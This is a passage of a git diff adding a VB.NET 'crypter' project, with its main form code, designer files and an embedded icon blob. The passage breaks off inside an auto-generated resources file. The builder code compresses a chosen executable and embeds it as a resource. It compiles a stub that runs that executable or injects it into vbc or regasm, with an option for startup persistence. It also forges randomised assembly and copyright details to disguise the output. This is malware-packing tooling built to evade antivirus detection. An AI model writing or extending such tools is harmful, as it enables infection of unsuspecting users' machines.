HgMfHx8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4fHwEuLy8EDAwMCQAA + ABEAAAAaAAAAIQAAACkQEBA9aGxqsXt+fct8gH/UCwsLTAAAAERdYF+iY2ZlrT1AP4MXGBg9AAAAIAAA + ABcAAAAQCQoKCh8gHwUnJycBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIyICIiMjBQ4O + DgwAAAAXEBAQL0pNTIhkZ2azDAwMViMkJHOmqKf/zs7O/6Chof9CRUSqLC4tkZqcm/7Hx8f/oKKh/zk7 + OokAAABAHh8fSxAQEC4AAAAZAAAADiMjIwUlJiYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANTY1AwwM + DAgAAAAQAAAAHBcZFzmLj47us7Sz/6Ghof9zdnXiTU9Ovaqsq//Ozs7/ra2t/4mLi/uEhoX6ra2t/8zM + zP+qrKv/NDY1n0NGRaOIi4r4f4OB50FEQ3MAAAAdAAAADyYnJgYqKysCAAAAAAAAAAAAAAAAAAAAADg5 + OQIPDw8IAAAAEhESESsREhJAAAAATo2PjtPU1NT/q6ur/5eXl/+JiYn/t7e3/9DQ0P+zs7P/lZWV/4+P + j/+ysrL/zMzM/7Kysv+Ii4r+i4yM/56env+IiIj/gYSD/QEBATUAAAAgAAAAEQwNDQgvMC8CAAAAAAAA + AAAAAAAAMTIxBQAAABAREhIre359zY6RkPhhZGPKhIaF2tvb2/+urq7/mJiY/42Njf/h4eP/1NHf/9zb + 4P+Wlpb/j4+P/9XV1v/e3OT/3d3d/5WVlf+Pj4//nZ2d/4ODg/99gH/2DAwMWjc5OHESExMqAAAAECkp + KQYwMTEBAAAAADs8PAISExMLAAAAG2xwb63Y2dn/srKy/6qqqv++vr7/7Ozt/93c3/+fn5//jY2N/9TS + 2v+ln73/v7rP/7m5uv+srK3/ycbY/6Obvv/Qztn/k5OT/5CQkP+zs7P/lJSU/4CCgf+Ljoz6lJaV/2hr + arYBAQEcDxAQCzs8PAIyMzMBISEhBwAAABMAAAApeX18zu3t7f+ysrL/ra2t/8rKy/+1scj/sq3E/9DO + 1//Ew8b/wr/Q/6eivf+nobz/vbnN/7+7zv+moL7/pJ69/8jF0/+rq6v/vb2+/8nG2P/Dv9H/ubm5/6Ki + ov+dnZ3/g4WE/zc6OV4AAAASNDU1Bj0+PQMAAAAMEBERJVBSUZ2AhYPs7+/v/729vf+srKz/pqam/8bD + 0f+rp77/q6e+/6yovv+rpr3/qqW8/6qlvf+ppL3/qKK8/6eivf+nob3/qKO//7e0xv+uqcX/pZ7B/7y3 + 0P+np6f/n5+f/5ubm/+Cg4P/Nzk4bgAAABsTExMKRkdHBAAAABA7Pjxruru6/9DQ0P/m5ev/y8jW/9DP + 1f/Ix8z/u7jJ/66qv/+uqr//ram+/6unu/+hn67/mZmk/5eXof+ZmKX/np2t/6ejuv+oo73/qKK+/6Wf + vP+hnLj/vrzG/46Ojv+qqqr/uLi5/4qLi/9pbmzIHyAgTgAAAA8kJCQGAAAAE2tvbarl5eX/6Ofo/9bU + 3v+0r8X/sazC/7Cswf+wrMH/sa3A/6imtf+SlJrvhIiGm4yOk1aOkJcwk5SbJJCSmjGLjZNYgoaFnpCS + mfGgnbD/oJ2x/5uWq/+hnq7/s7G6/6uotP+dmqj/vr7A/6Oko/9jZmWiAAAAEigpKQYAAAAVc3d1tejo + 6P/j4+P/z8/P/8vJ1P+zr8L/sq/C/7Wxw/+foKj8X2NijIODihAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAe3yFE2draZOVlp79mZaj/5CNmv+Jh5L/hIOM/6Ohqf+/vsD/paal/3d8escAAAAULi8vBgAA + ABZ2e3m66Ojq/+Df4//U09f/wb/M/7Gtv/+0scH/oaKq/U5RUG4fHiELb252AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABkY20CAAAADFJWVHeVlZv+kI+V/4SCiP+OjZH/p6eo/6CgoP+mp6b/eX17zAAA + ABQzMzMGAAAAFYqOjb3IxtL/r6y9/6upuP+pprX/qqe1/7CuuP9aXVyyAAAAKwAAABFFRUkES0tPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAQUFFATw8QAUAAAASAAAALF9iYbuamZ7/g4OF/4GBg/+npqn/s7K1/7i4 + u/+GionLAAAAE1NUVAUAAAARiY2LwsXEx/+/vcT/paOu/6CeqP+opq//p6ir/0NGRaYAAAA9AAAAIAAA + AA8fHyAGKywtAyAhIQEdHh0BHx8fASYnJwMaGhsGAAAADwAAACAAAAA/SUxLr5+gof+Tk5b/iomO/4uJ + kP+Ni5X/nJmm/5SXl8sAAAAQcnR0AwAAAA2EiIfJtLS0/7q6uv+urbL/lpWc/6inrf+8vL3/i4+N8xcX + F2wAAAA6AAAAJAAAABYAAAAPAAAADBMTEwsAAAAMAAAADwAAABcAAAAkAAAAOxobG3CMj432sbCy/6al + q/+WlJz/nZqk/62rsv+4uLv/fYB/sQAAAAx0dXYBQEBBB5KXldG1tbj/paSo/4yKj/+Mi5D/paSo/769 + vv+3t7f/gYSD7CEiInoAAABFAAAANAAAACkAAAAjAAAAIQAAACMAAAApAAAANAAAAEYlJyZ+homI77a2 + tv+1tLb/s7K5/6Ogqv+tq7T/l5eX/6qqqv9XXFuORkdICAAAAACFhocEjpORsImIi/98e3z/fn1//4aG + if+dnKD/wcHC/7y8vP+vr6//kZOS/V9iYcYtLy6DBQUFVAAAAEoAAABIAAAASgYGBlQvMTCFYmVkyp+h + oP7AwMD/vLy8/8DAw/+4tr//r6y4/6+tuv+1s7//urnA/4GFg5yOjpIEAAAAAImKiwF/hIBrlpma8aKj + pP+pqav/jo2R/5aVmv/AwMP/urq6/7Kysv+oqKj/mZqa/4uNjP+FiIb6eX175nV5d998gH7nj5KR+6Sm + pf/Cw8P/zMzM/8PDw/+7urv/0dDV/7u5w/+5tsP/ubfE/7i1xf+zsb7/g4aGb4+PlAEAAAAAAAAAAI+Q + kgNhZGNBnJ6d/7e2t/+bmp//n52k/7OxuP/Kycz/srKy/6ioqP+enp7/lJSU/5iYmP+goKD/qamp/7Ky + sv+6urr/w8PD/83Nzf/MzMz/w8PD/9fW2f/NzNL/wcDK/7i2vv+cnJ/5lJaY0ZKVldiDhYcbAAAAAAAA + AAAAAAAAkZKTAYuOjlajpaf/pqWs/6alrf+sqrP/srC5/8fGzf/R0dP/q6ur/56env+UlJT/mJiY/6Cg + oP+pqan/srKy/7q6uv/Dw8P/zc3N/83Nzf/g4OH/2djc/8vK0P/GxMz/u7rC/4+PkPBDREUToKCmBJqb + oAEAAAAAAAAAAAAAAAAAAAAAj5GTFJCUlOGysbn/qqqw/6Wmqv/Avsn/xMHN/8vJ0v/c29//wsLE/5yc + nP+YmJj/oKCg/6mpqf+ysrL/urq6/8fHx//g4eH/7u7u/+Df4f/V1dj/z87T/8rJz//FxMz/ubjA/4SI + hqujo6kBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj5CRM4KGhaaUl5lqjZGQ78HAxf/JxtD/xsPO/8TC + zP/OzdT/3dzg/93d3//Z2dr/2dnb/9/e3//m5ef/6Ojp/+Pj5f/i4uL/3t7f/9TU1/+foaPloKKk9ba2 + u/+Wmpvtm52gMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKiorQKVmJjmzMrV/8rI + 0//Ewsv/t7e+/8TDzP/Fw8z/xsPM/8fGzP/Kyc7/zMvQ/9DP0//U1Nf/2dja/9zc3f/d3N7/1dXY/29x + cI+nqakRmpycX5SWlzMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIeN + jKKtrrT/s7O6/4WKir2OkpGRubi//8XDzP/Gw8z/tra7/7y8wf/Lys//zc3R/8TEyP+IjYzJra+x+djY + 2v/X1tn/m56e7qeqqwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAJaZmkqOkpJrsbK3Apqdn1e4uL//xsPN/7Kyt/+PlJOFgIeGsMXEyf/Lys//q62u/6Ci + oyiPkZE9mZ2d7I+SksGcoJ9EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmp2dOYuPj8GanZ/yjJCQzKamqQOfoaIpmJqb/aao + qv+Tl5f2nqOiEwAAAACoqqoLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKmqrgGgo6YJAAAAAAAA + AACYnJsol5uZFrCxswEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//AH//8AAP/8AAAf+AAAD/AAAAfgAAADwAAAAcAAAACAAAAAAAAAAAAA + AAAAAAAAAAAAAAAH8AAAB/AAAAPgAAAAAAAAAAAAAAAAAIAAAACAAAAAwAAAAcAAAAHgAAAD8AAAB/wA + AA/+AAA//wAAf//gBf//+Y////////////8oAAAAGAAAADAAAAABACAAAAAAAGAJAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHR4eAhMTEwMUFBQDGBkZAxgY + GAMWFhYDFxgXAhkZGQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAhIiEBGxwbAxYXFwYWFhYJBQUFDwAAABUAAAAXAAAAFQAAABUBAQETBAQEDxYXFwkkJSUEGRoaAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACUmJQEbGxsHBAQEEAAAABkAAAAjGxwcSVVY + V5ldYF+pBgYGQR0eHllOUU+QKy0sYQQEBCQAAAAVBgYGDRcYGAYmJyYBAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAICEgBBITEwsEBAQbNDY0aHBycb8wMjGCPD49nMLDw/+urq7/RkhIsnJ1dNvCwsL+lZeX8A8Q + D10sLi1qISMjSgEBARcTFBMIJicnAQAAAAAAAAAAAAAAAAAAAAAqKysEAgICDwYGBiQICQg9oaOj7rm5 + uf+RkpL5fX5+7sbGxv+2trb/jY6N/Z2enf7Gxsb+n6Gg+F5gX8+PkJD5gYOC8jU3N3QAAAAaEhISCiYn + JwMAAAAAAAAAADIzMwIKCgoMHB0dPHV4d8dPUlGzmZqa38PDw/6dnZ3+m5ub/tnY3v7S0df+kZGR/qqq + q/7b2t/+xcXF/o2Njf6cnJz+g4OD/kFDQqMjJCRaCgoKIBMTEwkwMTEBAAAAACQkJAcAAAAaiYyLx8rK + yv+tra3+y8vM/9jX3/+2tbf+pqan/7i0yv+0r8f/urq8/sTCzP+mn8D+wsDJ/4+Pj/+3t7j+np6e/4uN + jPyWmJf+WlxcpQYGBhc0NDQEMjMzAwUFBREWFxZCmZyb4tDQ0P+vr6/+vbzA/7Crwv+5tcj+vrvJ/6yn + v/+oo73/rajA/qmkv/+moL3+ubbI/7u5w/+1r8r+vrrO/6ampv+enp7+foB/6Q4ODjEbGxsKMzQ0Bg0N + DSebnp3ky8zM/tbU3f7Hxsz+wsHG/rKuwv6tqb7+rai+/qekt/6enaz+m5uo/p6crf6mobn+qKK9/qag + vf6jnbr+s7K7/pqamv6wsLH+hIaF9jg7OnkAAAARGxwcCDAyMUzNz87+5eTl/8bE0v+xrcL+sa3B/7Gt + wP+ioq74jI6TrYiJjliOj5cpk5SdHI2OlzKEhopsjpCYyp2brP2bl6r+oJ2s/6akr/+amKT+vr6//4mL + iukTExMjICEhCTY4N1fQ0dH+4N/g/87N0v+1scT+tLHC/5iYoOlJSktQeHeAAwAAAAAAAAAAAAAAAAAA + AAAAAAAAWlpiDFRXV3+VlJz5jYyV/4WEi/+ko6j+rq6u/4yPjfIcHR01JSYmCTs9PVnFw8v+uLbE/7Gv + vf+rqLb+p6ev/DQ1NXEAAAAUUFBUAwAAAAAAAAAAAAAAAAAAAAAAAAAAMzM3BgIDAh5WWFiplJKX/4KB + g/+fnqH+sbGz/52fn/IcHh00REVFBj5AQFy3uLn+urm//qCeqP6mpK3+oaKk+x0eHnAAAAAqBgYGEBwc + HQcZGhoDHR0dAhkaGgQWFhcIAAAAFQAAADRBQ0KioqOl/o+Ok/6Mi5L+lpSf/qWlq/IfIB8yZmdoA0lM + S1+ur6/+s7K1/5SSmP+hoaX+u7q7/3t9fNwTExNiAAAAMQAAAB8AAAAXAwMDFQAAABgAAAAjAQEBOSgq + KX+Vl5bytbS3/6Gfp/+koqv+pKSm/5GTk+UoKCkUeXp7AXt9fU6Wlpj+f3+A/oODhf6ZmJz+v7/B/rOz + s/6GiIfsP0JBnhITElwAAABDAAAAQAEBAUYdHh1rVVdWt6Kko/a7u7v+vr7C/q+tt/6uq7j+sK+3/p2f + oOV2eHoQAAAAAISHhheDhoa5o6Sl/5+eof+VlJr+vr3B/7e3t/+qqqr+mJiY/4uNjP6Eh4bvg4aF6JGT + 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 + + + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.vb new file mode 100644 index 0000000..34f5d24 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/Index.vb @@ -0,0 +1,219 @@ +Imports System.CodeDom +Imports System.IO +Imports System.IO.Compression +Imports System.Linq +Imports System.Text + +Public Class Index + + 'Browse Payload + Private Sub VsButton1_Click(sender As System.Object, e As System.EventArgs) Handles VsButton1.Click + Using ofd As New OpenFileDialog() + ofd.Filter = "Portable Executable |*.exe" + If ofd.ShowDialog() = DialogResult.OK Then + VsTextBox1.Text = ofd.FileName + End If + End Using + End Sub + + 'Browse BindFile + Private Sub VsButton3_Click(sender As System.Object, e As System.EventArgs) Handles VsButton3.Click + MsgBox("This Feature will be enabled Soon.", MsgBoxStyle.Information) + Exit Sub + Using ofd As New OpenFileDialog() + If ofd.ShowDialog() = DialogResult.OK Then + VsTextBox3.Text = ofd.FileName + End If + End Using + End Sub + + 'Clone PE + Dim ClonePE As String + Private Sub VsButton7_Click(sender As System.Object, e As System.EventArgs) Handles VsButton7.Click + Using ofd As New OpenFileDialog() + ofd.Filter = "Portable Executable |*.exe" + If ofd.ShowDialog() = DialogResult.OK Then + ClonePE = ofd.FileName + End If + End Using + End Sub + + 'Change Icon + Private Sub VsButton4_Click(sender As System.Object, e As System.EventArgs) Handles VsButton4.Click + Dim openIcon As New OpenFileDialog With {.DefaultExt = "ico", .Filter = "Icons|*.ico", .Title = "Select icon"} + If openIcon.ShowDialog = Windows.Forms.DialogResult.OK Then + If openIcon.FileName.Contains(" ") Then + MsgBox("Make sure there is no space in the Icon path or Icon name.", MsgBoxStyle.Exclamation) + Exit Sub + End If + VsTextBox4.Text = openIcon.FileName + Dim cusIcon As New Icon(openIcon.FileName) + PictureBox1.Image = cusIcon.ToBitmap + End If + End Sub + + 'Reset Assembly Info + Private Sub VsButton5_Click(sender As System.Object, e As System.EventArgs) Handles VsButton5.Click + VsTextBox9.Text = Nothing + VsTextBox8.Text = Nothing + VsTextBox7.Text = Nothing + VsTextBox6.Text = Nothing + VsTextBox5.Text = Nothing + ClonePE = Nothing + End Sub + + ' Encryption Key + Private Sub VsButton2_Click(sender As System.Object, e As System.EventArgs) Handles VsButton2.Click + VsTextBox2.Text = RandomVariable(22, 33) + End Sub + + Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load + Randomize_asmbly() + End Sub + + Sub Randomize_asmbly() + Dim company As String = RandomVariable(6, 14) & " " & RandomVariable(3, 5) + Dim assemblyverson As String = rand.Next(1, 11) & "." & rand.Next(0, 20) & "." & rand.Next(0, 1999) & "." & rand.Next(0, 6553) + VsTextBox2.Text = RandomVariable(22, 33) + + VsTextBox9.Text = assemblyverson + VsTextBox8.Text = "Copyright © " & rand.Next(2014, 2017) & " " & company + VsTextBox7.Text = company + VsTextBox6.Text = RandomVariable(6, 14) + VsTextBox5.Text = RandomVariable(6, 14) + End Sub + Private fileBytes As Byte() = Nothing + Private keyBytes As Byte() = Nothing + Private resources_Path As String = Application.StartupPath & "\2016.resources" + Private library_Name As String = Random(8) + + + + Dim bind_Chk, injection, startup, start_name, ZoneID, Delay, Persistance, protect_process As String + Private Sub VsButton6_Click(sender As Object, e As EventArgs) Handles VsButton6.Click + 'Crypt + Try + Using ofd As New SaveFileDialog() + ofd.Filter = "Portable Executable |*.exe" + If ofd.ShowDialog() = DialogResult.OK Then + Dim password As String = RandomVariable(5, 11) + + If VsRadiobutton1.Checked Then + injection = "itself" + ElseIf VsRadiobutton2.Checked Then + injection = "vbc" + Else + injection = "regasm" + End If + + If VsCheckbox1.Checked Then + startup = "T" + start_name = VsTextBox13.Text + End If + + Dim parm As String = startup & "/" & start_name + + keyBytes = Encoding.Default.GetBytes(Random(16)) + fileBytes = Compress(IO.File.ReadAllBytes(VsTextBox1.Text)) + + Dim source As String = My.Resources.Code + + source = source.Replace("%libraryName%", library_Name) + source = source.Replace("%*%", parm) + + Using R As New Resources.ResourceWriter(resources_Path) + R.AddResource("text", fileBytes) + R.AddResource(library_Name, My.Resources.DPL) + R.Generate() + End Using + + compile_Stub(source, ofd.FileName, resources_Path, True, Nothing) + + IO.File.Delete(resources_Path) + + MsgBox("File Saved at: " & ofd.FileName) + End If + End Using + Catch ex As Exception + MsgBox(ex.ToString) + End Try + End Sub +End Class + +Module Functions + Public rand As New Random + + Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String + ' Dim Rand As New Random + Dim TheVariable As String = Nothing + Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnm1234567890" + For x As Integer = 1 To rand.Next(minamount + 1, maxamount) + Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 + TheVariable += (CharactersToUse(PickAChar)) + Next + Dim letters As String = "QWERTYUIOPLKHJJGFDSAZXCVBNM" + Return letters(rand.Next(0, letters.Length - 1)) + TheVariable + End Function + Public Function Random(numberChar As Integer) As String + Dim alphabet As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + Dim password As String = New String((alphabet.OrderBy(Function(n) Guid.NewGuid).Take(numberChar)).ToArray()) + Return password + End Function + + Public Function Compress(data As Byte()) As Byte() + Dim output As New MemoryStream() + Dim gzip As New GZipStream(output, CompressionMode.Compress, True) + gzip.Write(data, 0, data.Length) + gzip.Close() + Return output.ToArray() + End Function + Function XOR_Encrypt(ByVal input As Byte(), ByVal keys As String) As String + 'By d3c0mpil3r from hackforums.net + 'A "Thanks + Dim key As Byte() = System.Text.Encoding.Default.GetBytes(keys) + Dim output As Byte() = New Byte(input.Length) {} + Dim r As Byte = CByte(New Random().Next(1, 255)) + For i = 0 To output.Length - 2 + output(i) = input(i) Xor (key(i Mod key.Length) << (i + r + key.Length)) Mod 256 + Next + output(output.Length - 1) = r + Return (Convert.ToBase64String(output)) + End Function + + Public Function compile_Stub(ByVal input As String, ByVal output As String, ByVal resources As String, ByVal showError As Boolean, Optional ByVal icon_Path As String = Nothing) As Boolean + + Dim provider_Args As New Dictionary(Of String, String)() + provider_Args.Add("CompilerVersion", "v2.0") + + Dim provider As New Microsoft.VisualBasic.VBCodeProvider(provider_Args) + Dim c_Param As New Compiler.CompilerParameters + Dim c_Args As String = " /target:winexe /platform:x86 /optimize /nowarn /define:_MYTYPE=\""""Empty\""""" + + If Not icon_Path = Nothing Then + c_Args = c_Args & " /win32icon:" & icon_Path + Else + c_Args = c_Args & " /win32icon:Icon.ico" + End If + + c_Param.GenerateExecutable = True + c_Param.OutputAssembly = output + c_Param.EmbeddedResources.Add(resources) + c_Param.CompilerOptions = c_Args + c_Param.IncludeDebugInformation = False + c_Param.ReferencedAssemblies.AddRange({"System.Dll", "System.Windows.Forms.Dll"}) + + Dim c_Result As Compiler.CompilerResults = provider.CompileAssemblyFromSource(c_Param, input) + If c_Result.Errors.Count = 0 Then + Return True + Else + If showError Then + For Each _Error As Compiler.CompilerError In c_Result.Errors + MessageBox.Show(_Error.ToString) + Next + Return False + End If + Return False + End If + + End Function +End Module \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.Designer.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..1468c5d --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.VisualCrypter.Index + End Sub + End Class +End Namespace diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.myapp b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.myapp new file mode 100644 index 0000000..f1a87a2 --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Index + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/AssemblyInfo.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..2b1bf0c --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/AssemblyInfo.vb @@ -0,0 +1,37 @@ +Imports System.Resources +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + + diff --git a/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.Designer.vb b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..908f1ad --- /dev/null +++ b/C# (Crypter Source/VisualCrypter/VisualCrypter/My Project/Resources.Designer.vb @@ -0,0 +1,98 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS 